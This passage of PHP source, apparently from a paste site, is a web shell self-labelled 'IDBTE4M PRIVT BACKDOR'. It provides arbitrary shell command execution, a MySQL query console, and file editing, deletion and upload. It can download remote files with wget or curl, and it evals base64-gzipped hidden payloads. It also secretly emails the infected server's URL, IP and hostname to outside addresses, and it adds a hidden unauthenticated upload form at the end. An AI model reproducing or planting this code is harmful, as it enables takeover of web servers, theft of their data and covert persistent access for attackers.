  5957. $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z']))
  5958. $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){
  5959. if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
  5960. for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){
  5961. if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) {
  5962. if($rows[$j] == "") $dataz = "&nbsp;"; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
  5963. $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?>
  5964. <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
  5965. <input type="hidden" name="x" value="mysql" />
  5966. <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr>
  5967. <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
  5968. <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
  5969. <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
  5970. <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form>
  5971. <?php }}
  5972. elseif(isset($_GET['jak']) && ($_GET['jak'] == 'phpinfo')){ @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; }
  5973. elseif(isset($_GET['jak']) && ($_GET['jak'] == 'jump')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
  5974. elseif(isset($_GET['jak']) && ($_GET['jak'] == 'wpp')){ @eval(gzinflate(base64_decode($wpress))); "</div>"; }
  5975.  
  5976. elseif(isset($_GET['jak']) && ($_GET['jak'] != "view")){ if(is_file($_GET['jak'])){ if(!isset($file)) $file = magicboom($_GET['jak']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr> </table> ";
  5977. if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time());
  5978. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>
  5979. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  5980. <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content">
  5981. <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
  5982. <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr> </table> </form> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']);
  5983. $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?>
  5984. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  5985. <table class="tabnet" style="width:320px;padding:0 1px;">
  5986. <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr>
  5987. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  5988. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  5989. <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td>
  5990. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table>
  5991. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  5992.  
  5993. <?php if(isset($_GET['jak']) && ($_GET['jak'] == '?')){ @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); $tujuanmail = '[email protected]'; $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]"; mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); }?>
  5994. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
  5995. <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?>
  5996.  
  5997. <p><center><div class="info">-=[ IDBTE4M PRIVT BACKDOR Recoded By JakRapp ]=-</div>
  5998. <?php
  5999. $ip = getenv("REMOTE_ADDR");
  6000. $host= gethostname();
  6001. $ips = gethostbyname($host);
  6002. $server = $_SERVER['SERVER_NAME'];
  6003. $shost = $_SERVER['HTTP_HOST'];
  6004. $pageName = basename($_SERVER['SCRIPT_NAME']);
  6005. $dir = $_SERVER["PHP_SELF"];
  6006. date_default_timezone_set("Asia/Jakarta");
  6007. $date = date("d F Y");
  6008. $time = date("H:i:s");
  6009. $message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Uploader Result ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
  6010. $message .= "Klien IP : ".$ip."\n";
  6011. $message .= "Server IP : ".$ips."\n";
  6012. $message .= "HostName : ".$host."\n";
  6013. $message .= "Domain : ".$server."\n";
  6014. $message .= "Letak uploader : ".$dir."/".$pageName."?jakrapp\n";
  6015. $message .= "Tanggal : ".$date."\n";
  6016. $message .= "Waktu eksekusi : ".$time."\n";
  6017. $message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Done ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
  6018. $subject = "Uploader $server";
  6019. $headers = "From: [email protected]\r\n";
  6020. mail($sgb2,$subject,$message,$headers);
  6021. mail($send,$subject,$message,$headers);
  6022. ?>
  6023. <?php if (isset($_GET['jakrapp'])) {
  6024. echo "<body bgcolor=white>
  6025. <font color=black size=3>";
  6026. echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  6027. <label for=\"file\"></label>
  6028. <input type=\"file\" name=\"file\" id=\"file\" />
  6029. <br />
  6030. <input type=\"submit\" name=\"submit\" value=\"UPLOAD\">
  6031. </form>";
  6032. if ($_FILES["file"]["error"] > 0) {
  6033. echo "Error: " . $_FILES["file"]["error"] . "<br />";
  6034. } else {
  6035. echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  6036. echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  6037. echo "Stored in: " . $_FILES["file"]["tmp_name"];
  6038. }
  6039. if (file_exists("" . $_FILES["file"]["name"])) {
  6040. echo $_FILES["file"]["name"] . " already exists. ";
  6041. } else {
  6042. move_uploaded_file($_FILES["file"]["tmp_name"], "" . $_FILES["file"]["name"]);
  6043. echo "<br>Stored in: " . "" . $_FILES["file"]["name"];
  6044. echo "<hr>";
  6045. }
  6046. }
Add Comment
Please, Sign In to add comment